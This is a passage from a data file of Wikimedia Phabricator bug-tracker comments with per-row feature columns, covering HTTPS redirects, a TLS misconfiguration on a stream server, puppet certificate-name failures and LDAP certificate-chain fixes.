+(also, not in the regex at the top, we have one primary production domain that doesn't match: `wiktionary.org`)",,,1434483380,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+475843,pywikibot support for https-only,"Yes, we'll be serving HTTP 301's on port 80 indefinitely into the future as far as I'm aware.  It's still better to avoid using the redirect an go directly HTTPS when possible, though.
+
+(also, not in the regex at the top, we have one primary production domain that doesn't match: `wiktionary.org`)",,,1434483359,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+474052,pywikibot support for https-only,It is good to be careful but I am sure the WMF will keep the servers listening on HTTP and serve 301 redirects to HTTPS.,,,1434161263,,PHID-USER-gumeqoqwaswa2bctwrzp,False,,,PHID-TASK-uql7yxvzlh6rbvulqmyt,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+102313,stream.wikimedia.org speaks http (not https) on port 443,"```
+$ curl -v https://stream.wikimedia.org/rcstream_status
+*   Trying 2620:0:861:ed1a::3:15...
+* connect to 2620:0:861:ed1a::3:15 port 443 failed: Network is unreachable
+*   Trying 208.80.154.249...
+* Connected to stream.wikimedia.org (208.80.154.249) port 443 (#0)
+* found 180 certificates in /etc/ssl/certs/ca-certificates.crt
+* found 724 certificates in /etc/ssl/certs
+* ALPN, offering http/1.1
+* gnutls_handshake() failed: An unexpected TLS packet was received.
+* Closing connection 0
+curl: (35) gnutls_handshake() failed: An unexpected TLS packet was received.
+$ curl -v http://stream.wikimedia.org:443/rcstream_status
+*   Trying 2620:0:861:ed1a::3:15...
+* connect to 2620:0:861:ed1a::3:15 port 443 failed: Network is unreachable
+*   Trying 208.80.154.249...
+* Connected to stream.wikimedia.org (208.80.154.249) port 443 (#0)
+> GET /rcstream_status HTTP/1.1
+> Host: stream.wikimedia.org:443
+> User-Agent: curl/7.42.1
+> Accept: */*
+> 
+< HTTP/1.1 200 OK
+< Server: nginx/1.4.6 (Ubuntu)
+< Date: Sat, 13 Jun 2015 01:02:16 GMT
+< Content-Type: application/json
+< Content-Length: 41
+< Connection: keep-alive
+< 
+* Connection #0 to host stream.wikimedia.org left intact
+{""connected_clients"": 1, ""queue_size"": 0}
+```",Needs Triage,90.0,1434157367,1435099455.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-esfuftpfqk6ncyxxwpka,task_description,resolved,True,c3,2,True,False,True,-3,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+480398,stream.wikimedia.org speaks http (not https) on port 443,"Change 220222 merged by Faidon Liambotis:
+rcstream: fix TLS configuration
+
+[[https://gerrit.wikimedia.org/r/220222]]",,,1435098280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-esfuftpfqk6ncyxxwpka,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+480397,stream.wikimedia.org speaks http (not https) on port 443,"Change 220222 had a related patch set uploaded (by Faidon Liambotis):
+rcstream: fix TLS configuration
+
+[[https://gerrit.wikimedia.org/r/220222]]
+",,,1435098241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-esfuftpfqk6ncyxxwpka,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+102108,New jessie instance can't attach to puppet due to wrong certname,"I have created a new Jessie instance integration-lightslave-jessie-1002 which points to a self puppet master.  The puppet conf has:
+```
+lang=ini
+[agent]
+server = integration-puppetmaster.eqiad.wmflabs
+certname = i-00000cdb.eqiad.wmflabs
+```
+
+Running puppet I am yield:
+```
+Warning: Server hostname 'integration-puppetmaster.eqiad.wmflabs' did not match server certificate;
+expected one of
+i-00000a4c.integration.eqiad.wmflabs,
+DNS:i-00000a4c.integration.eqiad.wmflabs,
+DNS:integration-puppetmaster.integration.eqiad.wmflabs,
+DNS:puppet,
+DNS:puppet.integration.eqiad.wmflabs
+```
+
+/etc/resolv.conf has:
+```
+domain integration.eqiad.wmflabs
+search integration.eqiad.wmflabs eqiad.wmflabs
+nameserver 208.80.154.20
+options timeout:5 ndots:2
+```
+
+[[ https://wikitech.wikimedia.org/wiki/Hiera:Integration | Hiera:integration ]] has:
+```
+lang=yaml
+classes:
+   - role::puppet::self
+""role::puppet::self::master"": integration-puppetmaster
+""role::puppet::self::enc"": yaml+ldap
+```",Needs Triage,90.0,1434015366,1434399669.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-sex2jqdfyj7742snrx4o,task_description,resolved,True,c3,1,True,True,True,-3,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+490772,New jessie instance can't attach to puppet due to wrong certname,I have deleted the two tests instances I created on the integration labs project.,,,1436781831,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+474990,New jessie instance can't attach to puppet due to wrong certname,The puppet signer has been fixed by Andrew.  The two instances I created (suffixed `-new2`) are both working fine as far as I can tell.,,,1434399669,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+474969,New jessie instance can't attach to puppet due to wrong certname,"I deleted the previous instances and created two fresh ones with puppet.git up-to-date.
+
+**integration-t102108-trusty-new2** https://horizon.wikimedia.org/project/instances/ee1fa9f9-0aac-4d0b-97e0-dbff0619ff0f/console
+
+**integration-t102108-jessie-new2** https://horizon.wikimedia.org/project/instances/e4866b5a-2407-40fe-b333-43dbdae740de/console
+
+They both suffer from a 3 minutes boot delay because there is no NFS server available.  The shared NFS has been disabled on `integration`  T90610#1344487
+
+Filling another task.",,,1434398944,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+474674,New jessie instance can't attach to puppet due to wrong certname,"From a discussion with Andrew:
+
+Seems to be caused by the puppet signer on  labcontrol1001 . Instances hit the generic puppet master to be able to apply ::self. The signer does not always which is filled as T102193.",,,1434377759,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+474638,New jessie instance can't attach to puppet due to wrong certname,"On the `integration` project which uses custom salt and puppet masters, I have created an instance for Jessie and one for Trusty. None works :-D
+
+**integration-t102108-jessie-new**
+
+[[ https://horizon.wikimedia.org/project/instances/ff7a99fe-778d-4204-8ab9-4559f797ecff/console | Horizon console ]]
+
+**integration-t102108-trusty-new**
+
+[[ https://horizon.wikimedia.org/project/instances/d538199f-0aae-4e75-8914-d7440376e048/console | Horizon console ]]
+
+Might be some oddity with our puppet/salt masters configurations though.",,,1434373960,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+474145,New jessie instance can't attach to puppet due to wrong certname,"OK, I'm confident this is resolved with the new images.  Reopen if you still can't get it to work.",,,1434214073,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+473494,New jessie instance can't attach to puppet due to wrong certname,"I'm still fighting with Jessie, but can you validate that the Trusty (testing) image works properly for you?",,,1434080660,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+472967,New jessie instance can't attach to puppet due to wrong certname,"I think the issue is that new instances have the wrong domain, which means they can't contact the puppet server, which means they can't fix their domain.
+
+I'll be building a new base image today -- we'll check and make sure it helps.",,,1434032305,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0
+472964,New jessie instance can't attach to puppet due to wrong certname,"integration-t102108 is a Puppet client of integration-puppetmaster.eqiad.wmflabs (puppetclient)
+
+Same error:
+```
+Info: Caching certificate for i-00000cdc.eqiad.wmflabs
+Error: Could not request certificate:
+Server hostname 'integration-puppetmaster.eqiad.wmflabs' did not match server certificate; expected one of
+  i-00000a4c.integration.eqiad.wmflabs,
+  DNS:i-00000a4c.integration.eqiad.wmflabs,
+  DNS:integration-puppetmaster.integration.eqiad.wmflabs,
+  DNS:puppet, DNS:puppet.integration.eqiad.wmflabs
+
+Exiting; failed to retrieve certificate and waitforcert is disabled
+```
+
+Was provisioned with puppet.conf agent.server = integration-puppetmaster.eqiad.wmflabs which is not in the least of expected entries.
+
+
+There is one based on the ec2id:  i-00000a4c.integration.eqiad.wmflabs
+
+Another one using the new dns scheme: integration-puppetmaster.integration.eqiad.wmflabs
+
+------
+
+I guess you need to adjust modules/labs_bootstrapvz/files/firstboot.sh and generate a new Jessie image. It has:
+```
+domain=`hostname -d`   # now yields integration.eqiad.wmflabs
+if [ ""${domain}"" == ""eqiad.wmflabs"" ]
+then
+    master=""labs-puppetmaster.wikimedia.org""
+    master_secondary=""labcontrol2001.wikimedia.org""
+fi
+```
+
+So I guess at this point $master and $master_secondary are unset. But:
+
+```
+sed -i ""s/_FQDN_/${idfqdn}/g"" /etc/puppet/puppet.conf
+sed -i ""s/_MASTER_/${master}/g"" /etc/puppet/puppet.conf
+```
+
+idfqdn being set to i-00000cdc.integration.eqiad.wmflabs
+
+
+",,,1434032014,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+472961,New jessie instance can't attach to puppet due to wrong certname,I have created a new instance integration-t102108.eqiad.wmflabs . Let see what happens.,,,1434031265,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+472960,New jessie instance can't attach to puppet due to wrong certname,integration-t102108,,,1434031242,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+472954,New jessie instance can't attach to puppet due to wrong certname,Seems like this must have been due to an un-updated puppet repo on the master.  Is that right?,,,1434030822,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+472825,New jessie instance can't attach to puppet due to wrong certname,I just reverted https://wikitech.wikimedia.org/w/index.php?title=Hiera%3AIntegration&type=revision&diff=162646&oldid=162643 and it seems to be ok.,,,1434016714,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+472822,New jessie instance can't attach to puppet due to wrong certname,"Puppet did:
+```
+lang=diff
+ [agent]
+-server = integration-puppetmaster.eqiad.wmflabs
++server = integration-puppetmaster.integration.eqiad.wmflabs
+ configtimeout = 480
+ splay = true
+ prerun_command = /etc/puppet/etckeeper-commit-pre
+ postrun_command = /etc/puppet/etckeeper-commit-post
+ pluginsync = true
+ report = true
+-certname = i-00000cdb.eqiad.wmflabs
++certname = i-00000cdb.integration.eqiad.wmflabs
+```",,,1434016674,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1
+472819,New jessie instance can't attach to puppet due to wrong certname,Seems to work now.,,,1434016527,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+472818,New jessie instance can't attach to puppet due to wrong certname,https://gerrit.wikimedia.org/r/#/c/215333/ asserts that role::puppet::self::master is set to a simple hostname (no fqdn).  @YuviPanda reverted the Hiera:Integration change ( https://wikitech.wikimedia.org/w/index.php?title=Hiera:Integration&action=history ).,,,1434016407,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0
+472813,New jessie instance can't attach to puppet due to wrong certname,"I have changed in Hiera:integration the puppet master from 'integration-puppetmaster' to 'integration-puppetmaster.integration.eqiad.wmflabs' https://phabricator.wikimedia.org/T102108
+
+Then manually tweaked /etc/puppet/puppet.conf:
+```
+lang=diff
+[agent]
+- server = integration-puppetmaster.eqiad.wmflabs
++ server = integration-puppetmaster.integration.eqiad.wmflabs
+```
+
+The connection works but the server side catalog compilation fails:
+```
+Error: Could not retrieve catalog from remote server:
+Error 400 on SERVER: must be a simple hostname.  The project-specific domain will be automatically appended. at /etc/puppet/manifests/role/puppet.pp:67 on node i-00000cdb.eqiad.wmflabs
+```
+
+Which is role::puppet::self:
+```
+    if $master != undef {
+        if $master =~ /\./ {
+            fail(""$::puppetmaster must be a simple hostname.  The project-specific domain will be automatically appended."")
+        }
+```
+",,,1434015933,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+472811,New jessie instance can't attach to puppet due to wrong certname,Is puppetmaster running latest puppet?,,,1434015423,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-sex2jqdfyj7742snrx4o,task_subcomment,,True,c3,1,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0
+101317,Fix cert handling in our ldap servers,"We just had an ldap outage because the ldap cert setup is... unexpected.
+
+
+[4:55pm] paravoid: this is pretty broken in general
+[4:55pm] Coren: paravoid: What was the issue?
+[4:55pm] paravoid: ldap.conf was pointing to /etc/ssl/certs/GlobalSign_CA.pem as the CA
+[4:55pm] paravoid: which is pretty broken
+[4:55pm] paravoid: that's a single intermediate CA, not a certificate store
+[4:56pm] paravoid: also, OpenDJ seems to serve just its certificate, not a chain up to a root
+[4:56pm] paravoid: also quite broken
+...
+paravoid: there is no easy way to fix this, the easiest one would be to fix OpenDJ to serve the full chain",Needs Triage,90.0,1433369195,1433372141.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-yw6zst7vw2qunulr4wp3,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+468685,Fix cert handling in our ldap servers,"This is fixed in puppet with rOPUP1a195544eaed. The puppet code is pretty bad though and it wouldn't automatically regenerate the PKCS12 bundle, so I did this manually and restarted OpenDJ on both neptunium and nembus. `openssl s_client` seems to verify that the full chain is being served now.",,,1433372134,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+468684,Fix cert handling in our ldap servers,"Change 215808 merged by Faidon Liambotis:
+ldap: serve the full certificate chain for TLS
+
+[[https://gerrit.wikimedia.org/r/215808]]",,,1433371991,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+468682,Fix cert handling in our ldap servers,"Change 215808 had a related patch set uploaded (by Faidon Liambotis):
+ldap: serve the full certificate chain for TLS
+
+[[https://gerrit.wikimedia.org/r/215808]]
+",,,1433371918,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yw6zst7vw2qunulr4wp3,task_subcomment,,True,c3,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+101193,Did not find alias for special page 'CentralLogin',"I get lots of this error when using the centralauth vagrant role, during actions which involve redirection to the login wiki (e.g. login, registration).",Needs Triage,90.0,1433289025,1435263154.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-daqlgvlgtzg6ugofevip,task_description,resolved,True,c3,1,True,False,True,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+481942,Did not find alias for special page 'CentralLogin',"* https://gerrit.wikimedia.org/r/220851 (branch master): #mw1.26wmf12
+",,,1435262479,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+481895,Did not find alias for special page 'CentralLogin',"Change 220851 merged by jenkins-bot:
+Add non-translatable alias for Special:CentralLogin
+
+[[https://gerrit.wikimedia.org/r/220851]]",,,1435259347,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+481870,Did not find alias for special page 'CentralLogin',"Change 220851 had a related patch set uploaded (by Gergő Tisza):
+Add non-translatable alias for Special:CentralLogin
+
+[[https://gerrit.wikimedia.org/r/220851]]
+",,,1435257520,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-daqlgvlgtzg6ugofevip,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
